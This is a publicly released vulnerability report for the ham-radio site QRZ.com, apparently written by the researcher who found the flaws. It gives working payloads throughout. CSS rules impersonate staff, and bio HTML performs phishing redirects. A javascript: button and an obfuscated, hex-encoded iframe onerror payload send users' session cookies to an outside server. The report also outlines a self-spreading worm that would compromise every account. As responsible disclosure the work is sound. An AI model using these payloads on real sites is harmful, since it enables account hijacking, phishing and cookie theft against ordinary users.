QRZ.com security vulnerability report
January 23, 2018 Drake

Staff impersonation

On QRZ, CSS styles are easily abusable. I am able to change my user-page to look identical to that of a QRZ staff member.

Using the CSS visibility property and :after selector, I can change my visible user type to QRZ Engineering Manager.

Then, using the :before and :after selector, I load and place the staff and verified badges next to my profile image.


/* CUSTOM CSS */
 
#ppic {
    position: relative;
}
 
#ppic:before{
    position: absolute;
    left: -110px;
    content:url('https://s3.amazonaws.com/files.qrz.com/static/qrz/hq_staff_100x102.png');
}
 
#ppic:after{
    position: absolute;
    top: 116px;
    left: -116px;
    cursor: pointer;
    content:url('https://s3.amazonaws.com/files.qrz.com/static/ngassets/images/badges/idv_112x24.png');
}
 
.csignm {
    font-size: 32pt !important;
    font-style: italic !important;
    color: #f00 !important;
}
 
.green {
    visibility: hidden;
    position: relative;
}
 
.green:after {
    content: "QRZ Engineering Manager";
    color: #090;
    visibility: visible;
    margin-left: -80px;
}
				

Redirect to phishing via user interaction

I can abuse the display property, this time hiding all user related info, and navigation items, and only displaying the contents of the bio. Then, I can place a phishing redirect link in my bio, for the user to follow.


/* CUSTOM CSS */
 
#calldata {
    display: none;
}
 
.ui-tabs-nav {
    display: none;
}
 
.f7 {
    display: none;
}
				

<!-- BIO HTML -->

<h2 style="text-align: center">Your QRZ account has been deactivated.</h2>

<p style="text-align: center;">Click <a href="http://drakeluce.com/vulnerable">here</a> to view your account status.</p>
				

Redirect to phishing automatically

I simply add a meta refresh tag to the contents of my bio, and automatically redirect the user to a phishing page.


<!-- BIO HTML -->

<meta http-equiv="refresh" content="0;url=https://drakeluce.com/vulnerable" />
				

Arbitrary JS execution via user interaction

I use the formaction property of a button to execute arbitrary JavaScript. From this, we redirect the user to a malicious site, along with their current cookies. We can then steal their session cookie, and gain access to the users account.


<!-- BIO HTML -->

<form><button formaction="javascript:window.location.replace('https://drakeluce.com/vulnerable/?cookie=' + encodeURIComponent(document.cookie))">Click here for free HAM stuff!</button></form>
				

Automatic arbitrary JS execution

This is the most pressing of all vulnerabilities.

We can use the srcdoc property of an iframe to automatically execute malicious JavaScript, accomplishing the same as the above, but without user interaction.

Rather than redirecting the user to a page, we can simply make a request to a malicious server with the contents of document.cookie, which will then log the session key. Once set up, you immediately gain full access to the account of any user who accesses your callsign page.

This access allows us to construct a JavaScript virus. We use the compromised session key to edit that users bio, adding the same malicious code. As more users visit callsign pages, this will propagate throughout the entire userbase until every active account on the website is compromised.

In addition, the xf_session cookie also allows you to log-in to accounts that have explicitly logged-out, because logging-out only removes the client-side cookie. Sessions are not destroyed server-side, so they may be resumed.


<!-- BIO HTML -->

<iframe style="display: none;" srcdoc="&lt;img src&equals;x:x onerror&equals;&#x61;&#x3D;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x72;&#x65;&#x61;&#x74;&#x65;&#x45;&#x6C;&#x65;&#x6D;&#x65;&#x6E;&#x74;&#x28;&#x27;&#x69;&#x6D;&#x67;&#x27;&#x29;&#x3B;&#x61;&#x2E;&#x73;&#x72;&#x63;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6C;&#x6F;&#x63;&#x61;&#x6C;&#x68;&#x6F;&#x73;&#x74;&#x3A;&#x33;&#x30;&#x30;&#x30;&#x2F;&#x27;&#x2B;&#x65;&#x6E;&#x63;&#x6F;&#x64;&#x65;&#x55;&#x52;&#x49;&#x43;&#x6F;&#x6D;&#x70;&#x6F;&#x6E;&#x65;&#x6E;&#x74;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x3B;&#x77;&#x69;&#x6E;&#x64;&#x6F;&#x77;&#x2E;&#x74;&#x6F;&#x70;&#x2E;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x62;&#x6F;&#x64;&#x79;&#x2E;&#x61;&#x70;&#x70;&#x65;&#x6E;&#x64;&#x43;&#x68;&#x69;&#x6C;&#x64;&#x28;&#x61;&#x29;&#x3B;&gt;" />

<!-- The above evaluates to: -->

<iframe style="display: none;" srcdoc="<img src=x:x onerror=a=document.createElement('img');a.src='http://localhost:3000/'+encodeURIComponent(document.cookie);window.top.document.body.appendChild(a);>" />
				

Automatic arbitrary JS execution (logbook)

The following pages in the QRZ logbook allow basic <script> tag injection:

Notes

Disclaimers

UPDATE: Status as of June 7th, 2018

I checked today, and it appears all of the disclosed JavaScript vulnerabilities have been patched by the team at QRZ. This vulnerability report is now public.